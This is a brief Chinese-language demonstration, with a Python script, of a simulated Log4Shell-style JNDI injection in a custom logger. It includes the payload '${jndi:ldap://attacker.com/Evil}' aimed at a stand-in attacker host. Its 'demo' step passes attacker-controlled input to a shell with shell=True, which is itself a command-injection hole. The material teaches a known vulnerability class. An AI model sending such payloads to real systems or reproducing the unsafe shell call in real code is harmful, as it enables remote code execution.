
模拟 CVE-2026-21011,一种自定义日志记录器中的 Log4j 风格 JNDI 注入:解析 ${jndi:...} 模式并演示 LDAP 触发的远程代码执行。
# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re
def log(message):
# Vulnerable: looks up JNDI-like syntax and executes
pattern = r'\$\{jndi:(.+?)\}'
for match in re.finditer(pattern, message):
lookup = match.group(1)
if lookup.startswith('ldap://'):
# Simulate connecting to LDAP and loading a class
print(f"Loading malicious class from {lookup}")
subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True) # just demo
log("User-Agent: ${jndi:ldap://attacker.com/Evil}")
自定义日志框架会对日志消息中的 ${jndi:...} 模式进行求值,这与臭名昭著的 Log4Shell 漏洞类似。攻击者可以注入 JNDI 查找,从而从远程服务器加载并执行任意代码。
运行模拟:
python log4j_sim.py
该脚本会输出它将从攻击者的 LDAP 服务器加载一个类。